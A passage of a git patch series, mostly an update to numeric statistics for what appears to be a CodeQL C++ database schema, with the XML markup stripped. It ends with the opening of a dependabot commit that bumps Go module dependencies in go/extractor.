@@ -32573,7 +32433,7 @@ 1 2 - 13543087 + 13544416 @@ -32583,19 +32443,19 @@ fieldoffsets - 1441877 + 1489139 id - 1441877 + 1489139 byteoffset - 31022 + 31287 bitoffset - 436 + 434 @@ -32609,7 +32469,7 @@ 1 2 - 1441877 + 1489139 @@ -32625,7 +32485,7 @@ 1 2 - 1441877 + 1489139 @@ -32641,37 +32501,37 @@ 1 2 - 17805 + 17653 2 3 - 2348 + 2444 3 5 - 2457 + 2661 5 12 - 2621 + 2607 12 - 35 - 2348 + 34 + 2390 - 35 - 205 - 2348 + 34 + 198 + 2390 - 244 - 5639 - 1092 + 209 + 5931 + 1140 @@ -32687,12 +32547,12 @@ 1 2 - 30093 + 30309 2 9 - 928 + 977 @@ -32706,18 +32566,8 @@ 12 - 29 - 30 - 54 - - - 30 - 31 - 54 - - - 33 - 34 + 35 + 36 54 @@ -32725,24 +32575,34 @@ 37 54 - - 42 - 43 - 54 - 43 44 54 - 55 - 56 + 46 + 47 54 - 26132 - 26133 + 50 + 51 + 54 + + + 63 + 64 + 54 + + + 79 + 80 + 54 + + + 27063 + 27064 54 @@ -32756,24 +32616,24 @@ 12 - - 11 - 12 - 218 - 12 13 - 109 + 162 13 14 - 54 + 108 - 568 - 569 + 14 + 15 + 108 + + + 576 + 577 54 @@ -32784,19 +32644,19 @@ bitfield - 26910 + 30392 id - 26910 + 30392 bits - 3363 + 3502 declared_bits - 3363 + 3502 @@ -32810,7 +32670,7 @@ 1 2 - 26910 + 30392 @@ -32826,7 +32686,7 @@ 1 2 - 26910 + 30392 @@ -32842,42 +32702,42 @@ 1 2 - 941 + 1000 2 3 - 807 + 750 3 4 - 269 + 250 4 5 - 269 + 500 5 - 6 - 269 - - - 6 - 8 - 269 + 7 + 250 8 - 11 - 269 + 9 + 250 - 12 - 115 - 269 + 9 + 11 + 250 + + + 13 + 143 + 250 @@ -32893,7 +32753,7 @@ 1 2 - 3363 + 3502 @@ -32909,42 +32769,42 @@ 1 2 - 941 + 1000 2 3 - 807 + 750 3 4 - 269 + 250 4 5 - 269 + 500 5 - 6 - 269 - - - 6 - 8 - 269 + 7 + 250 8 - 11 - 269 + 9 + 250 - 12 - 115 - 269 + 9 + 11 + 250 + + + 13 + 143 + 250 @@ -32960,7 +32820,7 @@ 1 2 - 3363 + 3502 @@ -32970,23 +32830,23 @@ initialisers - 2336741 + 2338659 init - 2336741 + 2338659 var - 983120 + 989337 expr - 2336741 + 2338659 location - 539051 + 539154 @@ -33000,7 +32860,7 @@ 1 2 - 2336741 + 2338659 @@ -33016,7 +32876,7 @@ 1 2 - 2336741 + 2338659 @@ -33032,7 +32892,7 @@ 1 2 - 2336741 + 2338659 @@ -33048,17 +32908,17 @@ 1 2 - 865959 + 872291 2 15 - 39247 + 39495 16 25 - 77913 + 77549 @@ -33074,17 +32934,17 @@ 1 2 - 865959 + 872291 2 15 - 39247 + 39495 16 25 - 77913 + 77549 @@ -33100,7 +32960,7 @@ 1 2 - 983111 + 989328 2 @@ -33121,7 +32981,7 @@ 1 2 - 2336741 + 2338659 @@ -33137,7 +32997,7 @@ 1 2 - 2336741 + 2338659 @@ -33153,7 +33013,7 @@ 1 2 - 2336741 + 2338659 @@ -33169,22 +33029,22 @@ 1 2 - 439428 + 439236 2 3 - 32733 + 33072 3 15 - 42317 + 42172 15 - 111551 - 24571 + 111796 + 24672 @@ -33200,17 +33060,17 @@ 1 2 - 470696 + 470366 2 4 - 49308 + 49613 4 - 12073 - 19046 + 12163 + 19173 @@ -33226,22 +33086,22 @@ 1 2 - 439428 + 439236 2 3 - 32733 + 33072 3 15 - 42317 + 42172 15 - 111551 - 24571 + 111796 + 24672 @@ -33251,26 +33111,26 @@ braced_initialisers - 74268 + 74182 init - 74268 + 74182 expr_ancestor - 1797625 + 1795437 exp - 1797625 + 1795437 ancestor - 899688 + 898593 @@ -33284,7 +33144,7 @@ 1 2 - 1797625 + 1795437 @@ -33300,17 +33160,17 @@ 1 2 - 18305 + 18283 2 3 - 870593 + 869534 3 19 - 10789 + 10776 @@ -33320,19 +33180,19 @@ exprs - 25136620 + 25138614 id - 25136620 + 25138614 kind - 1448 + 1456 location - 10563688 + 5896962 @@ -33346,7 +33206,7 @@ 1 2 - 25136620 + 25138614 @@ -33362,7 +33222,7 @@ 1 2 - 25136620 + 25138614 @@ -33377,73 +33237,63 @@ 1 - 10 - 109 + 13 + 121 - 12 - 18 - 109 + 13 + 46 + 121 - 26 - 100 - 109 + 53 + 76 + 121 - 105 - 305 - 109 + 79 + 245 + 121 - 323 - 467 - 109 + 302 + 524 + 121 - 607 - 893 - 109 + 530 + 969 + 121 - 906 - 1658 - 109 + 1043 + 2109 + 121 - 1781 - 2386 - 109 + 2204 + 3636 + 121 - 3210 - 4267 - 109 + 4328 + 7013 + 121 - 4809 - 5185 - 109 + 7403 + 8498 + 121 - 5187 - 22126 - 109 + 9709 + 32322 + 121 - 26363 - 50205 - 109 - - - 63936 - 144106 - 109 - - - 312846 - 312847 - 21 + 33490 + 447645 + 121 @@ -33458,73 +33308,68 @@ 1 - 9 - 109 + 3 + 107 - 9 + 4 15 - 109 + 121 17 - 96 - 109 + 26 + 121 - 99 - 222 - 109 + 28 + 40 + 121 - 260 - 383 - 109 + 47 + 105 + 121 - 408 - 594 - 109 + 133 + 276 + 121 - 599 - 749 - 109 + 305 + 552 + 121 - 864 - 1774 - 109 + 620 + 1425 + 121 - 1812 - 2545 - 109 + 1437 + 1711 + 121 - 2623 - 2919 - 109 + 1929 + 3215 + 121 - 3419 - 4913 - 109 + 3232 + 8454 + 121 - 5471 - 21139 - 109 + 11521 + 87503 + 121 - 26254 - 76840 - 109 - - - 224078 - 224079 - 21 + 155156 + 155157 + 13 @@ -33540,22 +33385,32 @@ 1 2 - 8887659 + 2750855 2 3 - 818573 + 1390969 3 - 16 - 793536 + 4 + 522854 - 16 - 71733 - 63919 + 4 + 6 + 539333 + + + 6 + 13 + 455210 + + + 13 + 144777 + 237739 @@ -33571,17 +33426,17 @@ 1 2 - 9023791 + 4271139 2 3 - 772932 + 1230098 3 - 32 - 766964 + 30 + 395724 @@ -33591,15 +33446,15 @@ expr_reuse - 907596 + 906491 reuse - 907596 + 906491 original - 907596 + 906491 value_category @@ -33617,7 +33472,7 @@ 1 2 - 907596 + 906491 @@ -33633,7 +33488,7 @@ 1 2 - 907596 + 906491 @@ -33649,7 +33504,7 @@ 1 2 - 907596 + 906491 @@ -33665,7 +33520,7 @@ 1 2 - 907596 + 906491 @@ -33717,19 +33572,19 @@ expr_types - 25136620 + 25138614 id - 25136620 + 25138614 typeid - 213831 + 120596 value_category - 43 + 56 @@ -33743,7 +33598,7 @@ 1 2 - 25136620 + 25138614 @@ -33759,7 +33614,7 @@ 1 2 - 25136620 + 25138614 @@ -33775,52 +33630,57 @@ 1 2 - 52421 + 17845 2 3 - 35130 + 19220 3 4 - 14504 + 10269 4 5 - 14504 + 8080 5 - 8 - 17510 + 7 + 10690 - 8 - 14 - 17378 + 7 + 11 + 11111 - 14 - 24 - 16391 + 11 + 18 + 10157 - 24 - 49 - 16084 + 18 + 33 + 9483 - 49 - 134 - 16105 + 33 + 70 + 9119 - 134 - 440938 - 13801 + 70 + 233 + 9062 + + + 233 + 379496 + 5555 @@ -33836,12 +33696,12 @@ 1 2 - 185591 + 100590 2 3 - 28240 + 20005 @@ -33855,14 +33715,14 @@ 12 - 153383 - 153384 - 21 + 118902 + 118903 + 28 - 992173 - 992174 - 21 + 777025 + 777026 + 28 @@ -33876,14 +33736,14 @@ 12 - 2282 - 2283 - 21 + 1298 + 1299 + 28 - 8750 - 8751 - 21 + 3713 + 3714 + 28 @@ -33904,15 +33764,15 @@ new_allocated_type - 58177 + 57992 expr - 58177 + 57992 type_id - 34494 + 34384 @@ -33926,7 +33786,7 @@ 1 2 - 58177 + 57992 @@ -33942,17 +33802,17 @@ 1 2 - 14501 + 14455 2 3 - 18234 + 18176 3 19 - 1759 + 1753 @@ -33962,15 +33822,15 @@ new_array_allocated_type - 6964 + 6932 expr - 6964 + 6932 type_id - 2992 + 2978 @@ -33984,7 +33844,7 @@ 1 2 - 6964 + 6932 @@ -34005,17 +33865,17 @@ 2 3 - 2645 + 2633 3 5 - 225 + 224 6 15 - 78 + 77 @@ -35361,15 +35221,15 @@ condition_decl_bind - 438155 + 437622 expr - 438155 + 437622 decl - 438155 + 437622 @@ -35383,7 +35243,7 @@ 1 2 - 438155 + 437622 @@ -35399,7 +35259,7 @@ 1 2 - 438155 + 437622 @@ -35409,15 +35269,15 @@ typeid_bind - 60322 + 60130 expr - 60322 + 60130 type_id - 20078 + 20015 @@ -35431,7 +35291,7 @@ 1 2 - 60322 + 60130 @@ -35447,17 +35307,17 @@ 1 2 - 3732 + 3720 2 3 - 15831 + 15781 3 328 - 514 + 513 @@ -35467,15 +35327,15 @@ uuidof_bind - 27728 + 28057 expr - 27728 + 28057 type_id - 27459 + 27789 @@ -35489,7 +35349,7 @@ 1 2 - 27728 + 28057 @@ -35505,12 +35365,12 @@ 1 2 - 27234 + 27565 2 4 - 225 + 224 @@ -35520,15 +35380,15 @@ sizeof_bind - 241252 + 241336 expr - 241252 + 241336 type_id - 11189 + 11178 @@ -35542,7 +35402,7 @@ 1 2 - 241252 + 241336 @@ -35558,12 +35418,12 @@ 1 2 - 3901 + 3866 2 3 - 2758 + 2775 3 @@ -35588,7 +35448,7 @@ 7 40 - 848 + 854 40 @@ -35651,11 +35511,11 @@ lambdas - 17804 + 17748 expr - 17804 + 17748 default_capture @@ -35677,7 +35537,7 @@ 1 2 - 17804 + 17748 @@ -35693,7 +35553,7 @@ 1 2 - 17804 + 17748 @@ -35792,23 +35652,23 @@ lambda_capture - 28786 + 28523 id - 28786 + 28523 lambda - 13391 + 13294 index - 147 + 146 field - 28786 + 28523 captured_by_reference @@ -35820,7 +35680,7 @@ location - 18604 + 18396 @@ -35834,7 +35694,7 @@ 1 2 - 28786 + 28523 @@ -35850,7 +35710,7 @@ 1 2 - 28786 + 28523 @@ -35866,7 +35726,7 @@ 1 2 - 28786 + 28523 @@ -35882,7 +35742,7 @@ 1 2 - 28786 + 28523 @@ -35898,7 +35758,7 @@ 1 2 - 28786 + 28523 @@ -35914,7 +35774,7 @@ 1 2 - 28786 + 28523 @@ -35930,27 +35790,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -35966,27 +35826,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36002,27 +35862,27 @@ 1 2 - 6704 + 6673 2 3 - 3113 + 3081 3 4 - 1630 + 1614 4 6 - 1231 + 1225 6 18 - 711 + 699 @@ -36038,12 +35898,12 @@ 1 2 - 12801 + 12724 2 3 - 589 + 569 @@ -36059,12 +35919,12 @@ 1 2 - 13365 + 13268 2 3 - 26 + 25 @@ -36080,27 +35940,27 @@ 1 2 - 7337 + 7303 2 3 - 3278 + 3245 3 4 - 1344 + 1329 4 7 - 1092 + 1087 7 18 - 338 + 328 @@ -36159,43 +36019,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36255,43 +36115,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36351,43 +36211,43 @@ 8 - 27 - 28 + 26 + 27 8 - 47 - 48 + 46 + 47 8 - 82 - 83 + 81 + 82 8 - 140 - 141 + 139 + 140 8 - 224 - 225 + 223 + 224 8 - 412 - 413 + 410 + 411 8 - 771 - 772 + 767 + 768 8 - 1544 - 1545 + 1540 + 1541 8 @@ -36489,43 +36349,43 @@ 8 - 25 - 26 + 24 + 25 8 - 42 - 43 + 41 + 42 8 - 66 - 67 + 65 + 66 8 - 99 - 100 + 98 + 99 8 - 180 - 181 + 179 + 180 8 - 349 - 350 + 347 + 348 8 - 589 - 590 + 585 + 586 8 - 937 - 938 + 933 + 934 8 @@ -36542,7 +36402,7 @@ 1 2 - 28786 + 28523 @@ -36558,7 +36418,7 @@ 1 2 - 28786 + 28523 @@ -36574,7 +36434,7 @@ 1 2 - 28786 + 28523 @@ -36590,7 +36450,7 @@ 1 2 - 28786 + 28523 @@ -36606,7 +36466,7 @@ 1 2 - 28786 + 28523 @@ -36622,7 +36482,7 @@ 1 2 - 28786 + 28523 @@ -36636,13 +36496,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36657,13 +36517,13 @@ 12 - 592 - 593 + 590 + 591 8 - 1020 - 1021 + 1016 + 1017 8 @@ -36699,13 +36559,13 @@ 12 - 1182 - 1183 + 1180 + 1181 8 - 2137 - 2138 + 2124 + 2125 8 @@ -36736,13 +36596,13 @@ 12 - 547 - 548 + 545 + 546 8 - 1601 - 1602 + 1589 + 1590 8 @@ -36762,8 +36622,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36783,8 +36643,8 @@ 8 - 927 - 928 + 923 + 924 8 @@ -36825,8 +36685,8 @@ 8 - 2492 - 2493 + 2477 + 2478 8 @@ -36862,8 +36722,8 @@ 8 - 1817 - 1818 + 1803 + 1804 8 @@ -36880,17 +36740,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36906,12 +36766,12 @@ 1 2 - 17381 + 17179 2 68 - 1222 + 1217 @@ -36927,12 +36787,12 @@ 1 2 - 17858 + 17663 2 8 - 745 + 733 @@ -36948,17 +36808,17 @@ 1 2 - 16756 + 16566 2 6 - 1413 + 1398 6 68 - 433 + 431 @@ -36974,12 +36834,12 @@ 1 2 - 18578 + 18370 2 3 - 26 + 25 @@ -36995,7 +36855,7 @@ 1 2 - 18604 + 18396 @@ -37005,11 +36865,11 @@ fold - 1372 + 1368 expr - 1372 + 1368 operator @@ -37031,7 +36891,7 @@ 1 2 - 1372 + 1368 @@ -37047,7 +36907,7 @@ 1 2 - 1372 + 1368 @@ -37126,19 +36986,19 @@ stmts - 6324453 + 6258938 id - 6324453 + 6258938 kind - 2556 + 172 location - 2966319 + 2754699 @@ -37152,7 +37012,7 @@ 1 2 - 6324453 + 6258938 @@ -37168,7 +37028,7 @@ 1 2 - 6324453 + 6258938 @@ -37184,97 +37044,102 @@ 1 2 - 134 + 8 - 18 - 19 - 134 + 26 + 27 + 8 - 22 - 23 - 134 + 418 + 419 + 8 - 51 - 52 - 134 + 546 + 547 + 8 - 76 - 77 - 134 + 827 + 828 + 8 - 84 - 85 - 134 + 1470 + 1471 + 8 - 107 - 108 - 134 + 1577 + 1578 + 8 - 163 - 164 - 134 + 1802 + 1803 + 8 - 258 - 259 - 134 + 2462 + 2463 + 8 - 299 - 300 - 134 + 3217 + 3218 + 8 - 412 - 413 - 134 + 3610 + 3611 + 8 - 498 - 499 - 134 + 4863 + 4864 + 8 - 538 - 539 - 134 + 16249 + 16250 + 8 - 1371 - 1372 - 134 + 16732 + 16733 + 8 - 2810 - 2811 - 134 + 21439 + 21440 + 8 - 4866 - 4867 - 134 + 68795 + 68796 + 8 - 9205 - 9206 - 134 + 89075 + 89076 + 8 - 12120 - 12121 - 134 + 112007 + 112008 + 8 - 14105 - 14106 - 134 + 185649 + 185650 + 8 + + + 194240 + 194241 + 8 @@ -37290,97 +37155,102 @@ 1 2 - 134 + 8 - 8 - 9 - 134 + 26 + 27 + 8 - 18 - 19 - 134 + 109 + 110 + 8 - 45 - 46 - 134 + 419 + 420 + 8 - 50 - 51 - 134 + 778 + 779 + 8 - 56 - 57 - 134 + 1079 + 1080 + 8 - 74 - 75 - 134 + 1311 + 1312 + 8 - 101 - 102 - 134 + 1347 + 1348 + 8 - 103 - 104 - 134 + 1388 + 1389 + 8 - 131 - 132 - 134 + 2061 + 2062 + 8 - 225 - 226 - 134 + 2309 + 2310 + 8 - 252 - 253 - 134 + 2476 + 2477 + 8 - 368 - 369 - 134 + 7043 + 7044 + 8 - 650 - 651 - 134 + 8622 + 8623 + 8 - 1753 - 1754 - 134 + 11206 + 11207 + 8 - 2198 - 2199 - 134 + 36340 + 36341 + 8 - 4244 - 4245 - 134 + 43405 + 43406 + 8 - 6101 - 6102 - 134 + 47752 + 47753 + 8 - 6607 - 6608 - 134 + 83834 + 83835 + 8 + + + 97372 + 97373 + 8 @@ -37396,22 +37266,17 @@ 1 2 - 2357205 + 2352912 2 - 3 - 243538 + 4 + 239081 - 3 - 8 - 228602 - - - 8 - 653 - 136973 + 4 + 1581 + 162705 @@ -37427,12 +37292,12 @@ 1 2 - 2892720 + 2667989 2 - 8 - 73599 + 10 + 86709 @@ -37549,15 +37414,15 @@ if_initialization - 403 + 375 if_stmt - 403 + 375 init_id - 403 + 375 @@ -37571,7 +37436,7 @@ 1 2 - 403 + 375 @@ -37587,7 +37452,7 @@ 1 2 - 403 + 375 @@ -37597,15 +37462,15 @@ if_then - 987309 + 987388 if_stmt - 987309 + 987388 then_id - 987309 + 987388 @@ -37619,7 +37484,7 @@ 1 2 - 987309 + 987388 @@ -37635,7 +37500,7 @@ 1 2 - 987309 + 987388 @@ -37645,15 +37510,15 @@ if_else - 468357 + 467787 if_stmt - 468357 + 467787 else_id - 468357 + 467787 @@ -37667,7 +37532,7 @@ 1 2 - 468357 + 467787 @@ -37683,7 +37548,7 @@ 1 2 - 468357 + 467787 @@ -37741,15 +37606,15 @@ constexpr_if_then - 72388 + 103934 constexpr_if_stmt - 72388 + 103934 then_id - 72388 + 103934 @@ -37763,7 +37628,7 @@ 1 2 - 72388 + 103934 @@ -37779,7 +37644,7 @@ 1 2 - 72388 + 103934 @@ -37789,15 +37654,15 @@ constexpr_if_else - 41980 + 74042 constexpr_if_stmt - 41980 + 74042 else_id - 41980 + 74042 @@ -37811,7 +37676,7 @@ 1 2 - 41980 + 74042 @@ -37827,7 +37692,7 @@ 1 2 - 41980 + 74042 @@ -37933,15 +37798,15 @@ while_body - 39531 + 39534 while_stmt - 39531 + 39534 body_id - 39531 + 39534 @@ -37955,7 +37820,7 @@ 1 2 - 39531 + 39534 @@ -37971,7 +37836,7 @@ 1 2 - 39531 + 39534 @@ -37981,15 +37846,15 @@ do_body - 232977 + 232974 do_stmt - 232977 + 232974 body_id - 232977 + 232974 @@ -38003,7 +37868,7 @@ 1 2 - 232977 + 232974 @@ -38019,7 +37884,7 @@ 1 2 - 232977 + 232974 @@ -38077,11 +37942,11 @@ switch_case - 895930 + 894840 switch_stmt - 441314 + 440777 index @@ -38089,7 +37954,7 @@ case_id - 895930 + 894840 @@ -38108,12 +37973,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38134,12 +37999,12 @@ 2 3 - 438224 + 437691 3 19 - 3066 + 3062 @@ -38297,7 +38162,7 @@ 1 2 - 895930 + 894840 @@ -38313,7 +38178,7 @@ 1 2 - 895930 + 894840 @@ -38323,15 +38188,15 @@ switch_body - 441314 + 440777 switch_stmt - 441314 + 440777 body_id - 441314 + 440777 @@ -38345,7 +38210,7 @@ 1 2 - 441314 + 440777 @@ -38361,7 +38226,7 @@ 1 2 - 441314 + 440777 @@ -38371,15 +38236,15 @@ for_initialization - 73031 + 73036 for_stmt - 73031 + 73036 init_id - 73031 + 73036 @@ -38393,7 +38258,7 @@ 1 2 - 73031 + 73036 @@ -38409,7 +38274,7 @@ 1 2 - 73031 + 73036 @@ -38419,15 +38284,15 @@ for_condition - 76117 + 76123 for_stmt - 76117 + 76123 condition_id - 76117 + 76123 @@ -38441,7 +38306,7 @@ 1 2 - 76117 + 76123 @@ -38457,7 +38322,7 @@ 1 2 - 76117 + 76123 @@ -38467,15 +38332,15 @@ for_update - 73171 + 73177 for_stmt - 73171 + 73177 update_id - 73171 + 73177 @@ -38489,7 +38354,7 @@ 1 2 - 73171 + 73177 @@ -38505,7 +38370,7 @@ 1 2 - 73171 + 73177 @@ -38515,15 +38380,15 @@ for_body - 84141 + 84148 for_stmt - 84141 + 84148 body_id - 84141 + 84148 @@ -38537,7 +38402,7 @@ 1 2 - 84141 + 84148 @@ -38553,7 +38418,7 @@ 1 2 - 84141 + 84148 @@ -38563,19 +38428,19 @@ stmtparents - 5536606 + 5523824 id - 5536606 + 5523824 index - 16843 + 16765 parent - 2349144 + 2342363 @@ -38589,7 +38454,7 @@ 1 2 - 5536606 + 5523824 @@ -38605,7 +38470,7 @@ 1 2 - 5536606 + 5523824 @@ -38621,52 +38486,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38682,52 +38547,52 @@ 1 2 - 5533 + 5507 2 3 - 1379 + 1372 3 4 - 303 + 302 4 5 - 2142 + 2132 7 8 - 1405 + 1398 8 12 - 1092 + 1087 12 29 - 1483 + 1476 29 38 - 1266 + 1260 41 77 - 1274 + 1269 77 - 194851 - 962 + 195079 + 958 @@ -38743,32 +38608,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38784,32 +38649,32 @@ 1 2 - 1349093 + 1344445 2 3 - 508963 + 507773 3 4 - 144290 + 144118 4 6 - 151888 + 151422 6 - 17 - 178125 + 16 + 175775 - 17 + 16 1943 - 16783 + 18828 @@ -38819,22 +38684,22 @@ ishandler - 47453 + 47389 block - 47453 + 47389 stmt_decl_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -38842,7 +38707,7 @@ decl - 730550 + 730175 @@ -38856,12 +38721,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38877,12 +38742,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -38942,7 +38807,7 @@ 5480 - 170178 + 170179 8 @@ -39003,7 +38868,7 @@ 5480 - 170161 + 170162 8 @@ -39020,7 +38885,7 @@ 1 2 - 730526 + 730151 2 @@ -39041,7 +38906,7 @@ 1 2 - 730550 + 730175 @@ -39051,11 +38916,11 @@ stmt_decl_entry_bind - 730619 + 730244 stmt - 690157 + 689803 num @@ -39063,7 +38928,7 @@ decl_entry - 730619 + 730244 @@ -39077,12 +38942,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39098,12 +38963,12 @@ 1 2 - 667933 + 667590 2 32 - 22224 + 22212 @@ -39163,7 +39028,7 @@ 5480 - 170178 + 170179 8 @@ -39224,7 +39089,7 @@ 5480 - 170178 + 170179 8 @@ -39241,7 +39106,7 @@ 1 2 - 730619 + 730244 @@ -39257,7 +39122,7 @@ 1 2 - 730619 + 730244 @@ -39267,15 +39132,15 @@ blockscope - 1838779 + 1764517 block - 1838779 + 1764517 enclosing - 1575731 + 1509119 @@ -39289,7 +39154,7 @@ 1 2 - 1838779 + 1764517 @@ -39305,17 +39170,17 @@ 1 2 - 1400410 + 1337771 2 3 - 129842 + 128699 3 28 - 45478 + 42649 @@ -39325,19 +39190,19 @@ jumpinfo - 347302 + 347327 id - 347302 + 347327 str - 28864 + 28866 target - 72493 + 72498 @@ -39351,7 +39216,7 @@ 1 2 - 347302 + 347327 @@ -39367,7 +39232,7 @@ 1 2 - 347302 + 347327 @@ -39383,7 +39248,7 @@ 2 3 - 13557 + 13558 3 @@ -39429,7 +39294,7 @@ 1 2 - 23122 + 23124 2 @@ -39460,17 +39325,17 @@ 2 3 - 36105 + 36107 3 4 - 17581 + 17583 4 5 - 7357 + 7358 5 @@ -39496,7 +39361,7 @@ 1 2 - 72493 + 72498 @@ -39506,19 +39371,19 @@ preprocdirects - 5704844 + 5407616 id - 5704844 + 5407616 kind - 1480 + 1375 location - 5701480 + 5404364 @@ -39532,7 +39397,7 @@ 1 2 - 5704844 + 5407616 @@ -39548,7 +39413,7 @@ 1 2 - 5704844 + 5407616 @@ -39564,57 +39429,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23266 - 23267 - 134 + 21984 + 21985 + 125 @@ -39630,57 +39495,57 @@ 1 2 - 134 + 125 - 122 - 123 - 134 + 145 + 146 + 125 - 694 - 695 - 134 + 808 + 809 + 125 - 799 - 800 - 134 + 866 + 867 + 125 - 932 - 933 - 134 + 973 + 974 + 125 - 1689 - 1690 - 134 + 1509 + 1510 + 125 - 1792 - 1793 - 134 + 1891 + 1892 + 125 - 3012 - 3013 - 134 + 3256 + 3257 + 125 - 3802 - 3803 - 134 + 4714 + 4715 + 125 - 6290 - 6291 - 134 + 7089 + 7090 + 125 - 23241 - 23242 - 134 + 21958 + 21959 + 125 @@ -39696,12 +39561,12 @@ 1 2 - 5701345 + 5404239 - 26 - 27 - 134 + 27 + 28 + 125 @@ -39717,7 +39582,7 @@ 1 2 - 5701480 + 5404364 @@ -39727,15 +39592,15 @@ preprocpair - 1103859 + 1141282 begin - 846328 + 886636 elseelifend - 1103859 + 1141282 @@ -39749,17 +39614,17 @@ 1 2 - 601579 + 645622 2 3 - 235599 + 231383 3 9 - 9149 + 9630 @@ -39775,7 +39640,7 @@ 1 2 - 1103859 + 1141282 @@ -39785,41 +39650,41 @@ preproctrue - 388584 + 437752 branch - 388584 + 437752 preprocfalse - 273273 + 284664 branch - 273273 + 284664 preproctext - 4690461 + 4352508 id - 4690461 + 4352508 head - 3333241 + 2954828 body - 1948304 + 1681344 @@ -39833,7 +39698,7 @@ 1 2 - 4690461 + 4352508 @@ -39849,7 +39714,7 @@ 1 2 - 4690461 + 4352508 @@ -39865,12 +39730,12 @@ 1 2 - 3143793 + 2758089 2 - 740 - 189448 + 798 + 196738 @@ -39886,12 +39751,12 @@ 1 2 - 3253048 + 2875157 2 5 - 80192 + 79670 @@ -39907,17 +39772,17 @@ 1 2 - 1763699 + 1532758 2 - 6 - 146122 + 10 + 127698 - 6 - 12303 - 38481 + 10 + 13579 + 20887 @@ -39933,17 +39798,17 @@ 1 2 - 1767601 + 1537010 2 - 7 - 146526 + 12 + 127323 - 7 - 2977 - 34176 + 12 + 3231 + 17009 @@ -39953,15 +39818,15 @@ includes - 408508 + 406823 id - 408508 + 406823 included - 75250 + 74940 @@ -39975,7 +39840,7 @@ 1 2 - 408508 + 406823 @@ -39991,37 +39856,37 @@ 1 2 - 37239 + 37085 2 3 - 12106 + 12056 3 4 - 6351 + 6324 4 6 - 6865 + 6837 6 11 - 5795 + 5771 11 47 - 5646 + 5623 47 793 - 1245 + 1240 @@ -40031,15 +39896,15 @@ link_targets - 947 + 943 id - 947 + 943 binary - 947 + 943 @@ -40053,7 +39918,7 @@ 1 2 - 947 + 943 @@ -40069,7 +39934,7 @@ 1 2 - 947 + 943 @@ -40079,15 +39944,15 @@ link_parent - 38261175 + 38129861 element - 4866384 + 4849837 link_target - 429 + 427 @@ -40101,17 +39966,17 @@ 1 2 - 667923 + 665798 2 9 - 33936 + 33828 9 10 - 4164523 + 4150209 @@ -40130,48 +39995,48 @@ 42 - 97325 - 97326 + 97300 + 97301 42 - 97444 - 97445 + 97419 + 97420 42 - 97497 - 97498 + 97472 + 97473 42 - 97524 - 97525 + 97499 + 97500 42 - 97546 - 97547 + 97521 + 97522 42 - 97578 - 97579 + 97553 + 97554 42 - 99585 - 99586 + 99560 + 99561 42 - 102965 - 102966 + 102940 + 102941 42 - 104327 - 104328 + 104302 + 104303 42 From bbabf2c4104eb3a5685b531dbc0b124df3c71eee Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 6 Jun 2025 03:29:36 +0000 Subject: [PATCH 31/36] Bump the extractor-dependencies group in /go/extractor with 2 updates Bumps the extractor-dependencies group in /go/extractor with 2 updates: [golang.org/x/mod](https://github.com/golang/mod) and [golang.org/x/tools](https://github.com/golang/tools). Updates `golang.org/x/mod` from 0.24.0 to 0.25.0 - [Commits](https://github.com/golang/mod/compare/v0.24.0...v0.25.0) Updates `golang.org/x/tools` from 0.33.0 to 0.34.0 - [Release notes](https://github.com/golang/tools/releases) - [Commits](https://github.com/golang/tools/compare/v0.33.0...v0.34.0) --- updated-dependencies: - dependency-name: golang.org/x/mod dependency-version: 0.25.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies - dependency-name: golang.org/x/tools dependency-version: 0.34.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: extractor-dependencies ... Signed-off-by: dependabot[bot] --- go/extractor/go.mod | 6 +++--- go/extractor/go.sum | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/go/extractor/go.mod b/go/extractor/go.mod index cfdc82cbd2b..8dce8565a58 100644 --- a/go/extractor/go.mod 